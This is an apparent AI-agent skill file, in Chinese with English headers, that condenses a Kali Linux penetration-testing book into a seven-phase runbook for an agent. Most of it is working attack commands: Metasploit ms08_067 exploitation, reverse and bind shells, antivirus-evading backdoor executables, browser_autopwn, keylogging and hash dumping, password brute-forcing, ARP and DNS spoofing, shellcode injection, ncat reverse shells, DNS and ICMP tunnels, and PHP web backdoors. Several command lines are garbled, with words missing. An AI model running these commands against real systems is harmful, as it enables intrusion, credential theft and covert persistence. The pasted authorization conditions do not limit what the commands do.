kali-pentest

name	kali-pentest
description	Execute a full penetration test against a remote target using Kali Linux. Use when the user needs to perform authorized pentesting — information gathering, target identification, service enumeration, vulnerability mapping, exploitation, privilege escalation, and access maintenance. Covers 60+ Kali tools with concrete commands. Requires explicit authorization before any testing.

kali-pentest — 远程Kali Linux渗透测试skill

使命

基于《Kali Linux渗透测试的艺术》方法论蒸馏，提供一个可被agent调用的、面向远程Kali Linux渗透测试的完整执行框架。

何时调用此skill (A2)

• "帮我对这个目标做渗透测试"
• "扫描这个网段 / 枚举服务 / 查找漏洞"
• "我拿到了一个Kali Linux的shell，接下来怎么做"
• "如何利用这个漏洞提权"
• "pentest this target / scan this network"

道德准则和授权前提 (B)

必须满足以下前提才能执行:

1. 已与目标所有者签订正式渗透测试合同
2. 已明确测试范围、时间窗口、限制条件
3. 已获取书面授权
4. 不得超出测试范围
5. 不得在未授权情况下对任何系统进行测试

---

执行流程 (E)

以下按通用渗透测试框架的7个核心阶段组织（范围界定→社会工程学→文档报告为辅助阶段，不在此skill的执行流程中）。

---

阶段1: 信息收集

R(原文): "信息收集阶段的主要任务是通过各种公开资源获取目标相关信息...分为主动式和被动式两种。"

I(解释): 在不触碰目标网络的前提下，收集域名、IP、DNS、邮件、员工、子域名等信息。分被动式（第三方数据源）和主动式（直接与目标互动）。

A1(案例): 用Metagoofil从目标域的DOC/PDF文件中提取元数据，获取了用户名、软件版本、服务器路径。

E(执行步骤):

# 1. 域名注册信息
whois example.com

# 2. DNS查询
host -a example.com          # 查全部DNS记录
dig example.com any          # dig查询（更灵活）
host 23.23.144.81           # 逆向查询(IP→域名)

# 3. DNS枚举（子域名暴力破解）
dnsenum example.com                          # 基础枚举
dnsenum -f dns.txt example.com               # 字典暴力破解(dns.txt=1480个子域)
dnsenum -f dns-big.txt example.com           # 大字典(266930个子域)

# 4. IPv6子域名枚举
dnsdict6 example.com          # 内置798个子域字典
dnsdict6 -4 example.com       # 同时测试IPv4

# 5. 综合DNS枚举
fierce -dns example.com -threads 3

# 6. 多功能信息收集
dmitry -iwnse targethost     # whois+Netcraft+子域+邮件
dmitry -p targethost -f -b   # 端口扫描

# 7. 邮件/用户名/主机名收集
theharvester -d example.com -l 100 -b google
theharvester -d example.com -l 100 -b linkedin

# 8. 文件元数据收集
metagoofil -d example.com -l 20 -t doc,pdf -n 5 -f report.html -o output

# 9. 路由追踪（TCP方式穿透防火墙）
tcptraceroute www.example.com
tctrace -i eth0 -d www.example.com

---

阶段2: 目标识别

R(原文): "目标识别阶段的主要任务有两个：在目标网络里搜索在线的主机，以及鉴定目标机器上安装的操作系统。"

I(解释): 确定哪些主机在线，识别其操作系统类型。分主动式（发送数据包分析响应）和被动式（监听流量分析）。

A1(案例): 用fping扫描整个网段快速识别在线主机；用p0f通过TCP数据包分析成功识别目标为Linux 2.6.x。

E(执行步骤):

# 1. 单主机检测
ping -c 1 192.168.1.100
ping6 -c 1 fe80::a00:27ff:fe43:1518 -I eth0   # IPv6

# 2. ARP检测（局域网第二层）
arping 192.168.1.100 -c 1
arping -d -i eth0 192.168.1.100 -c 2    # 冒充检测

# 3. 多主机批量检测
fping 192.168.1.1 192.168.1.100 192.168.1.107
fping -g 192.168.56.0/24               # 扫描整个网段
fping -r 1 -g 192.168.1.1 192.168.1.10 # 改变重试次数

# 4. hping3（数据包生成和分析）
hping3 -1 192.168.1.100 -c 1           # ICMP echo
hping3 -S 192.168.1.100 -p 22 -c 1     # TCP SYN到22端口（测试防火墙）

# 5. nping（多协议数据包）
nping -c 1 192.168.56.100-102           # ICMP多主机
nping --tcp -c 1 -p 22 192.168.56.102   # TCP指定端口

# 6. IPv6主机发现
alive6 -p eth0                          # ICMPv6邻居发现
detect-new-ip6 eth0                     # 检测新加入主机
passive_discovery6 eth0                 # 被动监听发现

# 7. NetBIOS扫描
nbtscan 192.168.1.1-254                # 搜索NetBIOS名称
nbtscan -hv 192.168.1.1-254            # 详细服务信息

# 8. 被动式OS识别
p0f -f /etc/p0f/p0f.fp -o p0f.log     # 被动指纹识别

# 9. 主动式OS识别
nmap -O 192.168.56.102                 # Nmap OS检测

---

阶段3: 服务枚举

R(原文): "服务枚举阶段的主要目标是找出目标系统中所有开放的端口，以及运行在这些端口上的服务程序。"

I(解释): 在确认主机在线后，扫描所有端口，识别服务类型和版本，枚举SMB/SNMP/VPN等特定服务。

A1(案例): 用Nmap强力扫描(-A)识别出vsftpd 2.3.4、OpenSSH 4.7p1、Apache 2.2.8、Samba 3.0.20等详细版本信息。

E(执行步骤):

# 1. Nmap基本扫描
nmap 192.168.56.102                     # 默认扫描
nmap -iL targets.txt                    # 从文件读取目标
nmap -p- 192.168.56.102                 # 扫描所有端口(1-65535)
nmap -F 192.168.56.102                  # 快速扫描(100个常用端口)

# 2. TCP扫描类型（根据防火墙环境选择）
nmap -sS 192.168.56.102                 # SYN半开扫描(默认,隐蔽)
nmap -sT 192.168.56.102                 # TCP连接扫描(完整握手)
nmap -sN -p 22,25 192.168.56.102        # NULL扫描(无标志位)
nmap -sF 192.168.56.102                 # FIN扫描
nmap -sX 192.168.56.102                 # XMAS扫描(FIN+PSH+URG)
nmap -sA 192.168.56.102                 # ACK扫描(测防火墙规则)
nmap -sI <zombie> 192.168.56.102        # Idle扫描(隐蔽)

# 3. UDP扫描
nmap -sU 192.168.56.102 -p 53,161       # 指定UDP端口

# 4. 服务版本和OS检测
nmap -sV 192.168.56.102 -p 22           # 服务版本识别
nmap -O 192.168.56.102                  # OS检测
nmap -A 192.168.56.102                  # 强力检测(版本+OS+脚本+路由)

# 5. 时间排程（规避IDS）
nmap -T0 192.168.56.102                 # paranoid(每5分钟1包)
nmap -T1 192.168.56.102                 # sneaky(每15秒1包)
nmap -T2 192.168.56.102                 # polite
nmap -T3 192.168.56.102                 # normal(默认)
nmap -T4 192.168.56.102                 # aggressive
nmap -T5 192.168.56.102                 # insane

# 6. 规避检测
nmap -f 192.168.56.102                  # 小数据包分片
nmap -D decoy1,decoy2 192.168.56.102    # 诱饵(注意:过多诱饵会拥堵网络)
nmap --source-port 53 192.168.56.102    # 模拟源端口
nmap --data-length 48 192.168.56.102    # 自定义数据长度

# 7. NSE脚本扫描
nmap -sC 192.168.56.102                 # 默认脚本
nmap --script http-enum,http-headers,http-methods -p 80 192.168.56.102

# 8. 主机被ping屏蔽时
nmap -Pn 192.168.56.102                 


nmap 192.168.56.102 -oA scanresult       


unicornscan -m U -Iv 192.168.56.102:1-65535 -r 10000


amap -bq 192.168.56.102 22 80 3306


nbtscan -hv 192.168.56.102


onesixtyone 192.168.56.102              
snmpcheck -t 192.168.56.102            


ike-scan -M -A -P ike-hash 192.168.0.10    
psk-crack -d rockyou.txt ike-hash          

---

阶段4: 漏洞映射

R(原文): "漏洞映射阶段根据已发现的开放端口和服务程序，查找分析目标系统中的安全漏洞...完全依赖自动化工具会有假阳性和假阴性。"

I(解释): 将服务枚举结果转化为可利用的漏洞清单。区分本地漏洞（需本地访问，用于提权）和远程漏洞（可网络触发，用于初始访问）。使用自动化扫描+人工分析。

A1(案例): 用SQLMap对Web应用进行SQL注入测试，识别出MySQL 5.0.22后端数据库，提取了7个表名。

E(执行步骤):

# 1. OpenVAS全量漏洞扫描
# 通过Kali菜单启动: Kali Linux > Vulnerability Analysis > OpenVAS
openvas-check-setup
openvas-nvt-sync       # 更新插件

# 2. Cisco设备审计
CAT -h 192.168.0.7 -w lists/community -a lists/passwords -i

# 3. Fuzz模糊测试
bed -s FTP -u ftpuser -v ftpuser -t 192.168.0.7 -p 21 -o 3
# 支持协议: ftp smtp pop http irc imap pjl lpd finger socks4 socks5

# 4. SMB分析
python samrdump.py user:pass@192.168.0.7 445/SMB

# 5. SNMP分析
snmpwalk -v 2c -c public -O T -L f snmpwalk.txt 192.168.0.7

# 6. 数据库密码审计
dbpwaudit -s 192.168.0.7 -d dbname -D MySQL -U users.txt -P passwords.txt

# 7. SQL注入测试
sqlmap -u "http://target.com/page.php?id=1" -p id -f -b --current-user --current-db --dbs --users
sqlmap -u "http://target.com/page.php?id=1" --tables -D dbname -v 0
sqlmap -u "http://target.com/page.php?id=1" --dump -D dbname -T tablename

# 8. Web应用扫描
nikto -h target.com -p 80 -o webtest -F htm        # Web服务器扫描
wafw00f http://target.com/                           # WAF检测

# 9. Exploit-DB搜索
searchsploit "apache 2.2"          # 搜索exploit
cat /usr/share/exploitdb/files.csv  # 浏览exploit数据库

---

阶段5: 漏洞利用

R(原文): "漏洞利用阶段使用已有的漏洞利用程序对目标系统进行渗透...先通过公开渠道获取的漏洞利用程序练手，再编写自己的exploit。"

I(解释): 根据漏洞映射结果，选择合适的exploit和payload，获取目标系统的初始访问权限。核心工具是Metasploit框架。

A1(案例): 利用ms08_067_netapi漏洞，使用Meterpreter payload，完整利用链：exploit→提权(getsystem)→hashdump→键盘记录→后门服务→远程桌面。

E(执行步骤):

# 1. 搜索exploit
searchsploit "ms08_067"
searchsploit "vsftpd 2.3.4"

# 2. MSFConsole基本操作
msfconsole
msf > show exploits              # 列出exploit
msf > search snmp                # 搜索
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
msf exploit(ms08_067_netapi) > show payloads

# 3. 选择payload并执行
# bind shell（目标有公网IP/防火墙允许入站时）
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > exploit

# reverse shell（目标在NAT/防火墙后时）
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3
msf exploit(ms08_067_netapi) > exploit

# Meterpreter（高级payload，内存注入，全程加密）
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3
msf exploit(ms08_067_netapi) > exploit

# 4. Nmap集成扫描（将结果导入Metasploit）
msf > db_nmap -T Aggressive -sV -n -O -v 192.168.0.7
msf > db_hosts                    # 查看扫描到的主机
msf > db_services                 # 查看服务

# 5. 辅助扫描工具
# SNMP团体字符串扫描
msf > use auxiliary/scanner/snmp/community
msf auxiliary(community) > set RHOSTS 10.2.131.0/24
msf auxiliary(community) > set THREADS 3
msf auxiliary(community) > run

# VNC空密码扫描
msf > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > set RHOSTS 10.4.124.0/24
msf auxiliary(vnc_none_auth) > run

# 6. 生成后门可执行文件
msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 X > backdoor.exe
# 编码规避杀毒软件
msfpayload windows/shell/reverse_tcp LHOST=192.168.0.3 LPORT=32323 R | msfencode -e x86/shikata_ga_nai -t exe > encoded.exe

# 7. 监听端准备
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp
msf exploit(handler) >  LHOST 192.168.0.3
msf exploit(handler) >  LPORT 33333
msf exploit(handler) > exploit


msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) >  LHOST 192.168.0.3
msf auxiliary(browser_autopwn) >  SRVPORT 80
msf auxiliary(browser_autopwn) >  URIPATH /
msf auxiliary(browser_autopwn) > run

---

阶段6: 提升权限

R(原文): "提升权限阶段的主要目标是获取目标系统最高访问权限...通过利用本地漏洞、密码攻击、网络欺骗和网络嗅探实现。"

I(解释): 获取初始访问后，从普通权限提升到root/system权限。4个矢量：本地漏洞提权、密码攻击（离线+在线）、网络欺骗（ARP/DNS）、网络嗅探。

A1(案例): 用Meterpreter的getsystem提权到NT AUTHORITY\SYSTEM；用Hydra破解VNC密码；用dsniff在集线器网络捕获FTP密码。

E(执行步骤):

# === Meterpreter提权 ===
meterpreter > getuid                    # 查看当前权限
meterpreter > getsystem                 # 提权到系统权限
meterpreter > sysinfo                   # 系统信息
meterpreter > run hashdump              # 获取密码哈希
meterpreter > migrate 3172              # 迁移进程(到explorer.exe)
meterpreter > keyscan_start             # 启动键盘记录
meterpreter > keyscan_dump              # 导出键盘记录
meterpreter > keyscan_stop              # 停止键盘记录
meterpreter > run getgui -u btuser -p btpass  # 创建用户+启用远程桌面
meterpreter > run getgui -e             # 仅启用远程桌面

# === 利用本地漏洞提权 ===
# 查看内核版本
uname -r
# 搜索对应版本的提权exploit
searchsploit "linux kernel 2.6"
# 编译并执行
gcc privs.c -o privs
./privs <PID>

# === 密码攻击 ===

# 离线攻击（从目标获取哈希后本地破解）
hash-identifier                          # 识别哈希类型

# John the Ripper
unshadow etc-passwd etc-shadow > pass   # 合并shadow+passwd
john pass                               # 默认破解
john --wordlist=password.lst pass       # 字典攻击
john --show pass                        # 查看结果

# Hashcat（多线程GPU破解）
hashcat -m 100 test.hash rockyou.txt    # -m 100 = SHA-1

# RainbowCrack（彩虹表）
rcrack /usr/share/rainbowcrack/*.rt -h <hash_value>

# Windows SAM哈希提取
samdump2 system sam -o test-sam

# 密码字典生成
crunch 1 5 -o wordlist.txt             # 生成长度1-5的字典
crunch 1 4 -f /usr/share/crunch/charset.lst lalpha-numeric -o wordlist.lst

# 从网站收集单词生成字典
cewl -w target.txt http://www.target.com

# 在线攻击（直接对目标服务暴力破解）
# Hydra
hydra -P password.lst 192.168.0.7 vnc
hydra -L users.txt -P pass.txt 192.168.0.7 ssh

# Medusa
medusa -u root -P password.lst -h 192.168.0.7 -M vnc -v 4





 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.65.129 192.168.65.1


ettercap -i eth0 -T -q -P dns_spoof -M ARP /192.168.2.1//192.168.2.22/



dnschef --fakeip=192.168.2.21 --fakedomains google.com --interface 192.168.2.21 -q




dsniff -i eth0 -m


tcpdump -i eth0 -s 96
tcpdump -n -t -X -i eth0 -s 64 icmp and src 192.168.56.102


wireshark

---

阶段7: 访问维护

R(原文): "访问维护阶段在一段时间内维护对目标系统的访问权限...通过操作系统后门、隧道工具和Web后门实现。"

I(解释): 获取权限后建立持久化机制，确保即使漏洞被修复仍可控制目标。分3类：OS后门（注入进程）、隧道（协议封装绕过防火墙）、Web后门（通过Web服务器）。

A1(案例): 用WeBaCoo生成PHP后门，通过HTTP Cookie通信，防火墙和IDS无法检测；用dns2tcp建立TCP over DNS隧道绕过防火墙。

E(执行步骤):

# === 操作系统后门 ===

# Cymothoa（shellcode注入到运行进程）
cymothoa -S                             # 列出可用shellcode
cymothoa -p <PID> -s 1 -y 4444          # 注入后门
nc -nvv 192.168.56.102 4444             # 连接后门
# 注意: 宿主进程关闭或重启后门失效

# Meterpreter后门
meterpreter > run metsvc                # 安装后门服务(端口31337)
# 连接后门
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
msf exploit(handler) > set RHOST 192.168.0.7
msf exploit(handler) > exploit
# 警告: metsvc无认证，任何人都能连接！

# === 隧道工具 ===

# ncat（backdoor shell / reverse shell）
# 在目标上执行（backdoor shell）
ncat -l 1337 -e /bin/sh
# 攻击端连接
ncat 192.168.2.23 1337

# reverse shell
# 攻击端监听
ncat -l 1337
# 目标执行
ncat 192.168.2.21 1337 -e /bin/sh

# dns2tcp（TCP over DNS隧道，绕过防火墙）
# 服务器端配置 /etc/dns2tcpd.conf:
#   listen = 0.0.0.0
#   port = 53
#   domain = dnstunnel.example.com
#   resources = ssh:127.0.0.1:22
dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf    # 启动服务器端
# 客户端
dns2tcpc -z dnstunnel.example.com -c -f /etc/dns2tcpc.conf
ssh -p 2222 user@127.0.0.1               # 通过隧道SSH

# iodine（IPv4 over DNS隧道）
iodined -f -c -P password 192.168.200.1 tunnel.example.com  # 服务器
iodine -f -P password tunnel.example.com                     # 客户端

# proxychains（代理链，通过代理访问目标）
proxychains telnet example.com
# 配置 /etc/proxychains.conf: proxy_type host port [user pass]

# ptunnel（ICMP隧道，通过ICMP绕过防火墙）
ptunnel                                   # 服务器端
ptunnel -p ptunnel.example.com -lp 2222 -da ssh.example.org -dp 22  
ssh localhost -p 2222



socat TCP4-LISTEN:12345 OPEN:file.php,creat,append

 file.php | socat - TCP4:192.168.2.23:12345



openssl req -new -days 365 -nodes -x509 -out /etc/stunnel/stunnel.pem -keyout /etc/stunnel/stunnel.pem





/etc/init.d/stunnel4 start




webacoo -g -o backdoor.php               
webacoo -t -u http://target.com/backdoor.php  


weevely generate password backdoor.php   
weevely http://target.com/backdoor.php password  



msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.3 -f raw > backdoor.php

msf > use exploit/multi/handler
msf exploit(handler) >  PAYLOAD php/meterpreter/reverse_tcp
msf exploit(handler) >  LHOST 192.168.0.3
msf exploit(handler) > exploit

---

边界与注意事项 (B)

不适用场景

• 云环境(AWS/Azure/GCP)渗透测试
• 无线网络(WiFi/蓝牙)渗透测试
• 移动应用安全测试
• 容器化(Docker/K8s)安全测试
• API安全测试

关键注意事项

1. 授权前提: 必须有书面授权才能执行任何测试
2. 账户锁定: 在线密码攻击可能触发账户锁定，轮换用户名而非密码
3. metsvc风险: Meterpreter后门无认证机制，任何人都能连接
4. UDP可靠性: UDP扫描结果不如TCP可靠，目标可能不响应
5. 诱饵扫描: 过多诱饵会拥堵网络，扫描客户网络时避免
6. 工具版本: 书中工具版本较老，实际使用前查阅最新文档
7. 假阳性/假阴性: 不要仅凭单一工具结果下结论，交叉验证
8. 清理痕迹: 测试完成后清理后门和测试账户

与相邻skill的区分

• 本skill聚焦于远程Kali Linux渗透测试全流程
• 社会工程学攻击(第8章)因需人工操作，不在此skill中
• 文档报告(第12章)为辅助阶段，在DIGEST.md中简述